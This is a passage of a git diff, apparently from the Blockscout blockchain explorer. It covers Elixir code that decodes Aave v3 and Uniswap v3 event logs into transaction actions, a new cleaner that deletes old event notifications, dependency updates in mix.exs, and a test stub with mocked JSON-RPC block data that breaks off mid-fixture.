String.downcase( + Application.get_all_env(:indexer)[Indexer.Fetcher.TransactionAction][:uniswap_v3_nft_position_manager] + ) + + logs + |> uniswap_filter_logs(uniswap_v3_positions_nft) + |> logs_group_by_transactions() + |> uniswap(actions, chain_id, uniswap_v3_positions_nft) + else + actions + end + end + + defp aave_filter_logs(logs, pool_address) do + logs + |> Enum.filter(fn log -> + Enum.member?( + [ + @aave_v3_borrow_event, + @aave_v3_supply_event, + @aave_v3_withdraw_event, + @aave_v3_repay_event, + @aave_v3_flash_loan_event, + @aave_v3_enable_collateral_event, + @aave_v3_disable_collateral_event, + @aave_v3_liquidation_call_event + ], + sanitize_first_topic(log.first_topic) + ) && IndexerHelper.address_hash_to_string(log.address_hash, true) == pool_address + end) + end + + defp aave(logs_grouped, actions, chain_id) do + # iterate for each transaction + Enum.reduce(logs_grouped, actions, fn {_transaction_hash, transaction_logs}, actions_acc -> + # go through actions + Enum.reduce(transaction_logs, actions_acc, fn log, acc -> + acc ++ aave_handle_action(log, chain_id) + end) + end) + end + + # credo:disable-for-next-line /Complexity/ + defp aave_handle_action(log, chain_id) do + case sanitize_first_topic(log.first_topic) do + @aave_v3_borrow_event -> + # this is Borrow event + aave_handle_borrow_event(log, chain_id) + + @aave_v3_supply_event -> + # this is Supply event + aave_handle_supply_event(log, chain_id) + + @aave_v3_withdraw_event -> + # this is Withdraw event + aave_handle_withdraw_event(log, chain_id) + + @aave_v3_repay_event -> + # this is Repay event + aave_handle_repay_event(log, chain_id) + + @aave_v3_flash_loan_event -> + # this is FlashLoan event + aave_handle_flash_loan_event(log, chain_id) + + @aave_v3_enable_collateral_event -> + # this is ReserveUsedAsCollateralEnabled event + aave_handle_event("enable_collateral", log, log.second_topic, chain_id) + + @aave_v3_disable_collateral_event -> + # this is ReserveUsedAsCollateralDisabled event + aave_handle_event("disable_collateral", log, log.second_topic, chain_id) + + @aave_v3_liquidation_call_event -> + # this is LiquidationCall event + aave_handle_liquidation_call_event(log, chain_id) + + _ -> + [] + end + end + + defp aave_handle_borrow_event(log, chain_id) do + [_user, amount, _interest_rate_mode, _borrow_rate] = + decode_data(log.data, [:address, {:uint, 256}, {:uint, 8}, {:uint, 256}]) + + aave_handle_event("borrow", amount, log, log.second_topic, chain_id) + end + + defp aave_handle_supply_event(log, chain_id) do + [_user, amount] = decode_data(log.data, [:address, {:uint, 256}]) + + aave_handle_event("supply", amount, log, log.second_topic, chain_id) + end + + defp aave_handle_withdraw_event(log, chain_id) do + [amount] = decode_data(log.data, [{:uint, 256}]) + + aave_handle_event("withdraw", amount, log, log.second_topic, chain_id) + end + + defp aave_handle_repay_event(log, chain_id) do + [amount, _use_a_tokens] = decode_data(log.data, [{:uint, 256}, :bool]) + + aave_handle_event("repay", amount, log, log.second_topic, chain_id) + end + + defp aave_handle_flash_loan_event(log, chain_id) do + [_initiator, amount, _interest_rate_mode, _premium] = + decode_data(log.data, [:address, {:uint, 256}, {:uint, 8}, {:uint, 256}]) + + aave_handle_event("flash_loan", amount, log, log.third_topic, chain_id) + end + + defp aave_handle_liquidation_call_event(log, chain_id) do + [debt_amount, collateral_amount, _liquidator, _receive_a_token] = + decode_data(log.data, [{:uint, 256}, {:uint, 256}, :address, :bool]) + + debt_address = + log.third_topic + |> IndexerHelper.log_topic_to_string() + |> truncate_address_hash() + + collateral_address = + log.second_topic + |> IndexerHelper.log_topic_to_string() + |> truncate_address_hash() + + case get_token_data([debt_address, collateral_address]) do + false -> + [] + + token_data -> + debt_decimals = token_data[debt_address].decimals + collateral_decimals = token_data[collateral_address].decimals + + [ + %{ + hash: log.transaction_hash, + protocol: "aave_v3", + data: %{ + debt_amount: fractional(Decimal.new(debt_amount), Decimal.new(debt_decimals)), + debt_symbol: clarify_token_symbol(token_data[debt_address].symbol, chain_id), + debt_address: Address.checksum(debt_address), + collateral_amount: fractional(Decimal.new(collateral_amount), Decimal.new(collateral_decimals)), + collateral_symbol: clarify_token_symbol(token_data[collateral_address].symbol, chain_id), + collateral_address: Address.checksum(collateral_address), + block_number: log.block_number + }, + type: "liquidation_call", + log_index: log.index + } + ] + end + end + + defp aave_handle_event(type, amount, log, address_topic, chain_id) + when type in ["borrow", "supply", "withdraw", "repay", "flash_loan"] do + address = + address_topic + |> IndexerHelper.log_topic_to_string() + |> truncate_address_hash() + + case get_token_data([address]) do + false -> + [] + + token_data -> + decimals = token_data[address].decimals + + [ + %{ + hash: log.transaction_hash, + protocol: "aave_v3", + data: %{ + amount: fractional(Decimal.new(amount), Decimal.new(decimals)), + symbol: clarify_token_symbol(token_data[address].symbol, chain_id), + address: Address.checksum(address), + block_number: log.block_number + }, + type: type, + log_index: log.index + } + ] + end + end + + defp aave_handle_event(type, log, address_topic, chain_id) when type in ["enable_collateral", "disable_collateral"] do + address = + address_topic + |> IndexerHelper.log_topic_to_string() + |> truncate_address_hash() + + case get_token_data([address]) do + false -> + [] + + token_data -> + [ + %{ + hash: log.transaction_hash, + protocol: "aave_v3", + data: %{ + symbol: clarify_token_symbol(token_data[address].symbol, chain_id), + address: Address.checksum(address), + block_number: log.block_number + }, + type: type, + log_index: log.index + } + ] + end + end + + defp uniswap(logs_grouped, actions, chain_id, uniswap_v3_positions_nft) do + # create a list of UniswapV3Pool legitimate contracts + legitimate = uniswap_legitimate_pools(logs_grouped) + + # iterate for each transaction + Enum.reduce(logs_grouped, actions, fn {transaction_hash, transaction_logs}, actions_acc -> + # trying to find `mint_nft` actions + actions_acc = + uniswap_handle_mint_nft_actions(transaction_hash, transaction_logs, actions_acc, uniswap_v3_positions_nft) + + # go through other actions + Enum.reduce(transaction_logs, actions_acc, fn log, acc -> + acc ++ uniswap_handle_action(log, legitimate, chain_id) + end) + end) + end + + defp uniswap_filter_logs(logs, uniswap_v3_positions_nft) do + logs + |> Enum.filter(fn log -> + first_topic = sanitize_first_topic(log.first_topic) + + Enum.member?( + [ + @uniswap_v3_mint_event, + @uniswap_v3_burn_event, + @uniswap_v3_collect_event, + @uniswap_v3_swap_event + ], + first_topic + ) || + (first_topic == @uniswap_v3_transfer_nft_event && + IndexerHelper.address_hash_to_string(log.address_hash, true) == uniswap_v3_positions_nft) + end) + end + + defp uniswap_handle_action(log, legitimate, chain_id) do + first_topic = sanitize_first_topic(log.first_topic) + + with false <- first_topic == @uniswap_v3_transfer_nft_event, + # check UniswapV3Pool contract is legitimate + pool_address <- IndexerHelper.address_hash_to_string(log.address_hash, true), + false <- is_nil(legitimate[pool_address]), + false <- Enum.empty?(legitimate[pool_address]), + # this is legitimate uniswap pool, so handle this event + token_address <- legitimate[pool_address], + token_data <- get_token_data(token_address), + false <- token_data === false do + case first_topic do + @uniswap_v3_mint_event -> + # this is Mint event + uniswap_handle_mint_event(log, token_address, token_data, chain_id) + + @uniswap_v3_burn_event -> + # this is Burn event + uniswap_handle_burn_event(log, token_address, token_data, chain_id) + + @uniswap_v3_collect_event -> + # this is Collect event + uniswap_handle_collect_event(log, token_address, token_data, chain_id) + + @uniswap_v3_swap_event -> + # this is Swap event + uniswap_handle_swap_event(log, token_address, token_data, chain_id) + + _ -> + [] + end + else + _ -> [] + end + end + + defp uniswap_handle_mint_nft_actions(transaction_hash, transaction_logs, actions_acc, uniswap_v3_positions_nft) do + first_log = Enum.at(transaction_logs, 0) + + local_acc = + transaction_logs + |> Enum.reduce(%{}, fn log, acc -> + if sanitize_first_topic(log.first_topic) == @uniswap_v3_transfer_nft_event do + # This is Transfer event for NFT + from = + log.second_topic + |> IndexerHelper.log_topic_to_string() + |> truncate_address_hash() + + # credo:disable-for-next-line + if from == burn_address_hash_string() do + to = + log.third_topic + |> IndexerHelper.log_topic_to_string() + |> truncate_address_hash() + + [token_id] = + log.fourth_topic + |> IndexerHelper.log_topic_to_string() + |> decode_data([{:uint, 256}]) + + mint_nft_ids = Map.put_new(acc, to, %{ids: [], log_index: log.index}) + + Map.put(mint_nft_ids, to, %{ + ids: Enum.reverse([to_string(token_id) | Enum.reverse(mint_nft_ids[to].ids)]), + log_index: mint_nft_ids[to].log_index + }) + else + acc + end + else + acc + end + end) + |> Enum.reduce([], fn {to, %{ids: ids, log_index: log_index}}, acc -> + action = %{ + hash: transaction_hash, + protocol: "uniswap_v3", + data: %{ + name: "Uniswap V3: Positions NFT", + symbol: "UNI-V3-POS", + address: uniswap_v3_positions_nft, + to: Address.checksum(to), + ids: ids, + block_number: first_log.block_number + }, + type: "mint_nft", + log_index: log_index + } + + [action | acc] + end) + |> Enum.reverse() + + actions_acc ++ local_acc + end + + defp uniswap_handle_burn_event(log, token_address, token_data, chain_id) do + [_amount, amount0, amount1] = decode_data(log.data, [{:uint, 128}, {:uint, 256}, {:uint, 256}]) + + uniswap_handle_event("burn", amount0, amount1, log, token_address, token_data, chain_id) + end + + defp uniswap_handle_collect_event(log, token_address, token_data, chain_id) do + [_recipient, amount0, amount1] = decode_data(log.data, [:address, {:uint, 128}, {:uint, 128}]) + + uniswap_handle_event("collect", amount0, amount1, log, token_address, token_data, chain_id) + end + + defp uniswap_handle_mint_event(log, token_address, token_data, chain_id) do + [_sender, _amount, amount0, amount1] = decode_data(log.data, [:address, {:uint, 128}, {:uint, 256}, {:uint, 256}]) + + uniswap_handle_event("mint", amount0, amount1, log, token_address, token_data, chain_id) + end + + defp uniswap_handle_swap_event(log, token_address, token_data, chain_id) do + [amount0, amount1, _sqrt_price_x96, _liquidity, _tick] = + decode_data(log.data, [{:int, 256}, {:int, 256}, {:uint, 160}, {:uint, 128}, {:int, 24}]) + + uniswap_handle_event("swap", amount0, amount1, log, token_address, token_data, chain_id) + end + + defp uniswap_handle_swap_amounts(log, amount0, amount1, symbol0, symbol1, address0, address1) do + cond do + String.first(amount0) === "-" and String.first(amount1) !== "-" -> + {amount1, symbol1, address1, String.slice(amount0, 1..-1//1), symbol0, address0, false} + + String.first(amount1) === "-" and String.first(amount0) !== "-" -> + {amount0, symbol0, address0, String.slice(amount1, 1..-1//1), symbol1, address1, false} + + amount1 === "0" and String.first(amount0) !== "-" -> + {amount0, symbol0, address0, amount1, symbol1, address1, false} + + true -> + Logger.error( + "TransactionActions: Invalid Swap event in transaction #{log.transaction_hash}. Log index: #{log.index}. amount0 = #{amount0}, amount1 = #{amount1}" + ) + + {amount0, symbol0, address0, amount1, symbol1, address1, true} + end + end + + defp uniswap_handle_event(type, amount0, amount1, log, token_address, token_data, chain_id) do + address0 = Enum.at(token_address, 0) + decimals0 = token_data[address0].decimals + symbol0 = clarify_token_symbol(token_data[address0].symbol, chain_id) + address1 = Enum.at(token_address, 1) + decimals1 = token_data[address1].decimals + symbol1 = clarify_token_symbol(token_data[address1].symbol, chain_id) + + amount0 = fractional(Decimal.new(amount0), Decimal.new(decimals0)) + amount1 = fractional(Decimal.new(amount1), Decimal.new(decimals1)) + + {new_amount0, new_symbol0, new_address0, new_amount1, new_symbol1, new_address1, is_error} = + if type == "swap" do + uniswap_handle_swap_amounts(log, amount0, amount1, symbol0, symbol1, address0, address1) + else + {amount0, symbol0, address0, amount1, symbol1, address1, false} + end + + if is_error do + [] + else + [ + %{ + hash: log.transaction_hash, + protocol: "uniswap_v3", + data: %{ + amount0: new_amount0, + symbol0: new_symbol0, + address0: Address.checksum(new_address0), + amount1: new_amount1, + symbol1: new_symbol1, + address1: Address.checksum(new_address1), + block_number: log.block_number + }, + type: type, + log_index: log.index + } + ] + end + end + + defp uniswap_legitimate_pools(logs_grouped) do + TransactionActionUniswapPools.create_cache_table() + + {pools_to_request, pools_cached} = + logs_grouped + |> Enum.reduce(%{}, fn {_transaction_hash, transaction_logs}, addresses_acc -> + transaction_logs + |> Enum.filter(fn log -> + sanitize_first_topic(log.first_topic) != @uniswap_v3_transfer_nft_event + end) + |> Enum.reduce(addresses_acc, fn log, acc -> + pool_address = IndexerHelper.address_hash_to_string(log.address_hash, true) + Map.put(acc, pool_address, true) + end) + end) + |> Enum.reduce({[], %{}}, fn {pool_address, _}, {to_request, cached} -> + value_from_cache = TransactionActionUniswapPools.fetch_from_cache(pool_address) + + if is_nil(value_from_cache) do + {[pool_address | to_request], cached} + else + {to_request, Map.put(cached, pool_address, value_from_cache)} + end + end) + + req_resp = uniswap_request_tokens_and_fees(pools_to_request) + + case uniswap_request_get_pools(req_resp) do + {requests_get_pool, responses_get_pool} -> + requests_get_pool + |> Enum.zip(responses_get_pool) + |> Enum.reduce(%{}, fn {request, {_status, response} = _resp}, acc -> + value = uniswap_pool_is_legitimate(request, response) + TransactionActionUniswapPools.put_to_cache(request.pool_address, value) + Map.put(acc, request.pool_address, value) + end) + |> Map.merge(pools_cached) + + _ -> + pools_cached + end + end + + defp uniswap_pool_is_legitimate(request, response) do + response = + case response do + [item] -> item + items -> items + end + + if request.pool_address == String.downcase(response) do + [token0, token1, _] = request.args + [token0, token1] + else + [] + end + end + + defp uniswap_request_get_pools({requests_tokens_and_fees, responses_tokens_and_fees}) do + uniswap_v3_factory = Application.get_all_env(:indexer)[Indexer.Fetcher.TransactionAction][:uniswap_v3_factory] + + requests_get_pool = + requests_tokens_and_fees + |> Enum.zip(responses_tokens_and_fees) + |> Enum.reduce(%{}, fn {request, {status, response} = _resp}, acc -> + if status == :ok do + response = parse_response(response) + + acc = Map.put_new(acc, request.contract_address, %{token0: "", token1: "", fee: ""}) + item = Map.put(acc[request.contract_address], atomized_key(request.method_id), response) + Map.put(acc, request.contract_address, item) + else + acc + end + end) + |> Enum.map(fn {pool_address, pool} -> + token0 = + if IndexerHelper.address_correct?(pool.token0), + do: String.downcase(pool.token0), + else: burn_address_hash_string() + + token1 = + if IndexerHelper.address_correct?(pool.token1), + do: String.downcase(pool.token1), + else: burn_address_hash_string() + + fee = if pool.fee == "", do: 0, else: pool.fee + + # we will call getPool(token0, token1, fee) public getter + %{ + pool_address: pool_address, + contract_address: uniswap_v3_factory, + method_id: "1698ee82", + args: [token0, token1, fee] + } + end) + + {responses_get_pool, error_messages} = read_contracts(requests_get_pool, @uniswap_v3_factory_abi) + + if not Enum.empty?(error_messages) or Enum.count(requests_get_pool) != Enum.count(responses_get_pool) do + Logger.error( + "TransactionActions: Cannot read Uniswap V3 Factory contract getPool public getter. Error messages: #{Enum.join(error_messages, ", ")}. Requests: #{inspect(requests_get_pool)}" + ) + + false + else + {requests_get_pool, responses_get_pool} + end + end + + defp uniswap_request_tokens_and_fees(pools) do + requests = + pools + |> Enum.map(fn pool_address -> + # we will call token0(), token1(), fee() public getters + Enum.map(["0dfe1681", "d21220a7", "ddca3f43"], fn method_id -> + %{ + contract_address: pool_address, + method_id: method_id, + args: [] + } + end) + end) + |> List.flatten() + + {responses, error_messages} = read_contracts(requests, @uniswap_v3_pool_abi) + + if not Enum.empty?(error_messages) do + incorrect_pools = uniswap_get_incorrect_pools(requests, responses) + + Logger.warning( + "TransactionActions: Cannot read Uniswap V3 Pool contract public getters for some pools: token0(), token1(), fee(). Error messages: #{Enum.join(error_messages, ", ")}. Incorrect pools: #{Enum.join(incorrect_pools, ", ")} - they will be marked as not legitimate." + ) + end + + {requests, responses} + end + + defp uniswap_get_incorrect_pools(requests, responses) do + responses + |> Enum.with_index() + |> Enum.reduce([], fn {{status, _}, i}, acc -> + if status == :error do + pool_address = Enum.at(requests, i)[:contract_address] + TransactionActionUniswapPools.put_to_cache(pool_address, []) + [pool_address | acc] + else + acc + end + end) + |> Enum.reverse() + end + + defp atomized_key("token0"), do: :token0 + defp atomized_key("token1"), do: :token1 + defp atomized_key("fee"), do: :fee + defp atomized_key("getPool"), do: :getPool + defp atomized_key("symbol"), do: :symbol + defp atomized_key("decimals"), do: :decimals + defp atomized_key("0dfe1681"), do: :token0 + defp atomized_key("d21220a7"), do: :token1 + defp atomized_key("ddca3f43"), do: :fee + defp atomized_key("1698ee82"), do: :getPool + defp atomized_key("95d89b41"), do: :symbol + defp atomized_key("313ce567"), do: :decimals + + defp clarify_token_symbol(symbol, chain_id) do + if symbol == "WETH" && Enum.member?([@mainnet, @goerli, @optimism], chain_id) do + "Ether" + else + symbol + end + end + + defp clear_actions(logs_grouped, protocols_to_clear) do + logs_grouped + |> Enum.each(fn {transaction_hash, _} -> + query = + if Enum.empty?(protocols_to_clear) do + from(ta in TransactionAction, where: ta.hash == ^transaction_hash) + else + from(ta in TransactionAction, where: ta.hash == ^transaction_hash and ta.protocol in ^protocols_to_clear) + end + + Repo.delete_all(query) + end) + end + + defp fractional(%Decimal{} = amount, %Decimal{} = decimals) do + amount.sign + |> Decimal.new(amount.coef, amount.exp - Decimal.to_integer(decimals)) + |> Decimal.normalize() + |> Decimal.to_string(:normal) + end + + defp get_token_data(token_addresses) do + # first, we're trying to read token data from the cache. + # if the cache is empty, we read that from DB. + # if tokens are not in the cache, nor in the DB, read them through RPC. + token_data = + token_addresses + |> get_token_data_from_cache() + |> get_token_data_from_db() + |> get_token_data_from_rpc() + + if Enum.any?(token_data, fn {_, token} -> + Map.get(token, :symbol, "") == "" or Map.get(token, :decimals) > @decimals_max + end) do + false + else + token_data + end + end + + defp get_token_data_from_cache(token_addresses) do + token_addresses + |> Enum.reduce(%{}, fn address, acc -> + Map.put( + acc, + address, + TransactionActionTokensData.fetch_from_cache(address) + ) + end) + end + + defp get_token_data_from_db(token_data_from_cache) do + # a list of token addresses which we should select from the database + select_tokens_from_db = + token_data_from_cache + |> Enum.reduce([], fn {address, data}, acc -> + if is_nil(data.symbol) or is_nil(data.decimals) do + [address | acc] + else + acc + end + end) + |> Enum.reverse() + + if Enum.empty?(select_tokens_from_db) do + # we don't need to read data from db, so will use the cache + token_data_from_cache + else + # try to read token symbols and decimals from the database and then save to the cache + query = + from( + t in Token, + where: t.contract_address_hash in ^select_tokens_from_db, + select: {t.symbol, t.decimals, t.contract_address_hash} + ) + + query + |> Repo.all() + |> Enum.reduce(token_data_from_cache, fn {symbol, decimals, contract_address_hash}, token_data_acc -> + contract_address_hash = String.downcase(Hash.to_string(contract_address_hash)) + + symbol = parse_symbol(symbol, contract_address_hash, token_data_acc) + + decimals = parse_decimals(decimals, contract_address_hash, token_data_acc) + + new_data = %{symbol: symbol, decimals: decimals} + + put_to_cache(contract_address_hash, new_data) + + Map.put(token_data_acc, contract_address_hash, new_data) + end) + end + end + + defp parse_symbol(symbol, contract_address_hash, token_data_acc) do + if is_nil(symbol) or symbol == "" do + # if db field is empty, take it from the cache + token_data_acc[contract_address_hash].symbol + else + symbol + end + end + + defp parse_decimals(decimals, contract_address_hash, token_data_acc) do + if is_nil(decimals) do + # if db field is empty, take it from the cache + token_data_acc[contract_address_hash].decimals + else + decimals + end + end + + defp put_to_cache(contract_address_hash, new_data) do + if Map.get(new_data, :decimals, 0) <= @decimals_max do + TransactionActionTokensData.put_to_cache(contract_address_hash, new_data) + end + end + + defp get_token_data_from_rpc(token_data) do + token_addresses = + token_data + |> Enum.reduce([], fn {address, data}, acc -> + if is_nil(data.symbol) or data.symbol == "" or is_nil(data.decimals) do + [address | acc] + else + acc + end + end) + |> Enum.reverse() + + {requests, responses} = get_token_data_request_symbol_decimals(token_addresses) + + requests + |> Enum.zip(responses) + |> Enum.reduce(token_data, fn {request, {status, response} = _resp}, token_data_acc -> + if status == :ok do + response = parse_response(response) + + data = token_data_acc[request.contract_address] + + new_data = get_new_data(data, request, response) + + put_to_cache(request.contract_address, new_data) + + Map.put(token_data_acc, request.contract_address, new_data) + else + token_data_acc + end + end) + end + + defp parse_response(response) do + case response do + [item] -> item + items -> items + end + end + + defp get_new_data(data, request, response) do + if atomized_key(request.method_id) == :symbol do + %{data | symbol: response} + else + %{data | decimals: response} + end + end + + defp get_token_data_request_symbol_decimals(token_addresses) do + requests = + token_addresses + |> Enum.map(fn address -> + # we will call symbol() and decimals() public getters + Enum.map(["95d89b41", "313ce567"], fn method_id -> + %{ + contract_address: address, + method_id: method_id, + args: [] + } + end) + end) + |> List.flatten() + + {responses, error_messages} = read_contracts(requests, @erc20_abi) + + if not Enum.empty?(error_messages) or Enum.count(requests) != Enum.count(responses) do + Logger.warning( + "TransactionActions: Cannot read symbol and decimals of an ERC-20 token contract. Error messages: #{Enum.join(error_messages, ", ")}. Addresses: #{Enum.join(token_addresses, ", ")}" + ) + end + + {requests, responses} + end + + defp logs_group_by_transactions(logs) do + logs + |> Enum.group_by(& &1.transaction_hash) + end + + defp read_contracts(requests, abi) do + max_retries = Application.get_env(:explorer, :token_functions_reader_max_retries) + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + + IndexerHelper.read_contracts_with_retries(requests, abi, json_rpc_named_arguments, max_retries) + end + + defp sanitize_first_topic(first_topic) do + if is_nil(first_topic), do: "", else: String.downcase(IndexerHelper.log_topic_to_string(first_topic)) + end + + defp truncate_address_hash(nil), do: burn_address_hash_string() + + defp truncate_address_hash("0x000000000000000000000000" <> truncated_hash) do + "0x#{truncated_hash}" + end +end diff --git a/apps/indexer/lib/indexer/utils/event_notifications_cleaner.ex b/apps/indexer/lib/indexer/utils/event_notifications_cleaner.ex new file mode 100644 index 000000000000..3b19e34d1843 --- /dev/null +++ b/apps/indexer/lib/indexer/utils/event_notifications_cleaner.ex @@ -0,0 +1,50 @@ +defmodule Indexer.Utils.EventNotificationsCleaner do + @moduledoc """ + Module is responsible for cleaning up event notifications from the database. + """ + + alias Explorer.Repo.EventNotifications, as: EventNotificationsRepo + alias Explorer.Utility.EventNotification + + import Ecto.Query + + use GenServer + + require Logger + + def start_link(args) do + GenServer.start_link(__MODULE__, args, name: __MODULE__) + end + + def init(args) do + Process.send(self(), :clean_up_event_notifications, []) + {:ok, args} + end + + def handle_info(:clean_up_event_notifications, state) do + clean_up_event_notifications() + Process.send_after(self(), :clean_up_event_notifications, interval()) + {:noreply, state} + end + + defp clean_up_event_notifications do + {count, _} = + EventNotification + |> where([en], en.inserted_at < ago(^max_age(), "millisecond")) + |> EventNotificationsRepo.delete_all() + + Logger.info("Deleted #{count} event notifications") + end + + defp max_age do + config()[:max_age] + end + + defp interval do + config()[:interval] + end + + defp config do + Application.get_env(:indexer, __MODULE__) + end +end diff --git a/apps/indexer/mix.exs b/apps/indexer/mix.exs index f8cca5a6830f..6390230a8dd1 100644 --- a/apps/indexer/mix.exs +++ b/apps/indexer/mix.exs @@ -9,19 +9,29 @@ defmodule Indexer.MixProject do config_path: "../../config/config.exs", deps: deps(), deps_path: "../../deps", - description: "Fetches block chain data from on-chain node for later reading with Explorer.", - elixir: "~> 1.13", + description: "Fetches blockchain data from on-chain node for later reading with Explorer.", + elixir: "~> 1.17", elixirc_paths: elixirc_paths(Mix.env()), lockfile: "../../mix.lock", start_permanent: Mix.env() == :prod, - version: "4.1.8" + version: "9.1.1", + xref: [ + exclude: [ + Explorer.Chain.Optimism.Deposit, + Explorer.Chain.Optimism.FrameSequence, + Explorer.Chain.Optimism.OutputRoot, + Explorer.Chain.Optimism.TransactionBatch, + Explorer.Chain.Optimism.Withdrawal, + Explorer.Chain.Optimism.WithdrawalEvent + ] + ] ] end # Run "mix help compile.app" to learn about applications. def application do [ - extra_applications: [:logger], + extra_applications: [:logger, :os_mon], mod: {Indexer.Application, []} ] end @@ -39,22 +49,31 @@ defmodule Indexer.MixProject do [ # Optional dependency of `:spandex` for `Spandex.Decorators` {:decorator, "~> 1.4"}, - # JSONRPC access to Parity for `Explorer.Indexer` + # JSONRPC access to Nethermind for `Explorer.Indexer` {:ethereum_jsonrpc, in_umbrella: true}, + {:ex_eth_bls, "~> 0.1.0"}, + # Brotli compression/decompression + {:ex_brotli, "~> 0.5.0"}, + {:ex_keccak, "~> 0.7.5"}, # RLP encoding - {:ex_rlp, "~> 0.5.2"}, + {:ex_rlp, "~> 0.6.0"}, # Importing to database {:explorer, in_umbrella: true}, - # libsecp2561k1 crypto functions - {:libsecp256k1, "~> 0.1.10"}, + # ex_secp256k1 crypto functions + {:ex_secp256k1, "~> 0.7.0"}, # Log errors and application output to separate files {:logger_file_backend, "~> 0.0.10"}, # Mocking `EthereumJSONRPC.Transport`, so we avoid hitting real chains for local testing - {:mox, "~> 1.0", only: [:test]}, + {:mox, "~> 1.1.0"}, + {:prometheus_ex, "~> 5.0.0", override: true}, # Tracing {:spandex, "~> 3.0"}, # `:spandex` integration with Datadog - {:spandex_datadog, "~> 1.0"} + {:spandex_datadog, "~> 1.0"}, + {:logger_json, "~> 5.1"}, + {:varint, "~> 1.4"}, + {:utils, in_umbrella: true}, + {:cachex, "~> 4.0"} ] end diff --git a/apps/indexer/test/indexer/block/catchup/bound_interval_supervisor_test.exs b/apps/indexer/test/indexer/block/catchup/bound_interval_supervisor_test.exs index dca037a9cbcf..8fd2eb4fd445 100644 --- a/apps/indexer/test/indexer/block/catchup/bound_interval_supervisor_test.exs +++ b/apps/indexer/test/indexer/block/catchup/bound_interval_supervisor_test.exs @@ -10,9 +10,10 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do alias Explorer.Repo alias Indexer.BoundInterval alias Indexer.Block.Catchup + alias Indexer.Block.Catchup.MissingRangesCollector + alias Indexer.Fetcher.CoinBalance.Catchup, as: CoinBalanceCatchup alias Indexer.Fetcher.{ - CoinBalance, ContractCode, InternalTransaction, ReplacedTransaction, @@ -30,6 +31,13 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do setup :verify_on_exit! describe "start_link/1" do + setup do + initial_env = Application.get_env(:indexer, :block_ranges) + on_exit(fn -> Application.put_env(:indexer, :block_ranges, initial_env) end) + + set_celo_core_contracts_env_var() + end + # See https://github.com/poanetwork/blockscout/issues/597 @tag :no_geth test "starts fetching blocks from latest and goes down", %{json_rpc_named_arguments: json_rpc_named_arguments} do @@ -37,44 +45,49 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do case Keyword.fetch!(json_rpc_named_arguments, :variant) do - EthereumJSONRPC.Parity -> + EthereumJSONRPC.Nethermind -> block_number = 3_416_888 block_quantity = integer_to_quantity(block_number) EthereumJSONRPC.Mox |> stub(:json_rpc, fn # latest block number to seed starting block number for genesis and realtime tasks - %{method: "eth_getBlockByNumber", params: ["latest", false]}, _options -> + [%{id: id, method: "eth_getBlockByNumber", params: ["latest", false]}], _options -> {:ok, - %{ - "author" => "0xe2ac1c6843a33f81ae4935e5ef1277a392990381", - "difficulty" => "0xfffffffffffffffffffffffffffffffe", - "extraData" => "0xd583010a068650617269747986312e32362e32826c69", - "gasLimit" => "0x7a1200", - "gasUsed" => "0x0", - "hash" => "0x627baabf5a17c0cfc547b6903ac5e19eaa91f30d9141be1034e3768f6adbc94e", - "logsBloom" => - "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "miner" => "0xe2ac1c6843a33f81ae4935e5ef1277a392990381", - "number" => block_quantity, - "parentHash" => "0x006edcaa1e6fde822908783bc4ef1ad3675532d542fce53537557391cfe34c3c", - "receiptsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "sealFields" => [ - "0x841240b30d", - "0xb84158bc4fa5891934bc94c5dca0301867ce4f35925ef46ea187496162668210bba61b4cda09d7e0dca2f1dd041fad498ced6697aeef72656927f52c55b630f2591c01" - ], - "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", - "signature" => - "58bc4fa5891934bc94c5dca0301867ce4f35925ef46ea187496162668210bba61b4cda09d7e0dca2f1dd041fad498ced6697aeef72656927f52c55b630f2591c01", - "size" => "0x243", - "stateRoot" => "0x9a8111062667f7b162851a1cbbe8aece5ff12e761b3dcee93b787fcc12548cf7", - "step" => "306230029", - "timestamp" => "0x5b437f41", - "totalDifficulty" => "0x342337ffffffffffffffffffffffffed8d29bb", - "transactions" => [], - "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "uncles" => [] - }} + [ + %{ + id: id, + result: %{ + "author" => "0xe2ac1c6843a33f81ae4935e5ef1277a392990381", + "difficulty" => "0xfffffffffffffffffffffffffffffffe", + "extraData" => "0xd583010a068650617269747986312e32362e32826c69", + "gasLimit" => "0x7a1200", + "gasUsed" => "0x0", + "hash" => "0x627baabf5a17c0cfc547b6903ac5e19eaa91f30d9141be1034e3768f6adbc94e", + "logsBloom" => + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "miner" => "0xe2ac1c6843a33f81ae4935e5ef1277a392990381", + "number" => block_quantity, + "parentHash" => "0x006edcaa1e6fde822908783bc4ef1ad3675532d542fce53537557391cfe34c3c", + "receiptsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "sealFields" => [ + "0x841240b30d", + "0xb84158bc4fa5891934bc94c5dca0301867ce4f35925ef46ea187496162668210bba61b4cda09d7e0dca2f1dd041fad498ced6697aeef72656927f52c55b630f2591c01" + ], + "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "signature" => + "58bc4fa5891934bc94c5dca0301867ce4f35925ef46ea187496162668210bba61b4cda09d7e0dca2f1dd041fad498ced6697aeef72656927f52c55b630f2591c01", + "size" => "0x243", + "stateRoot" => 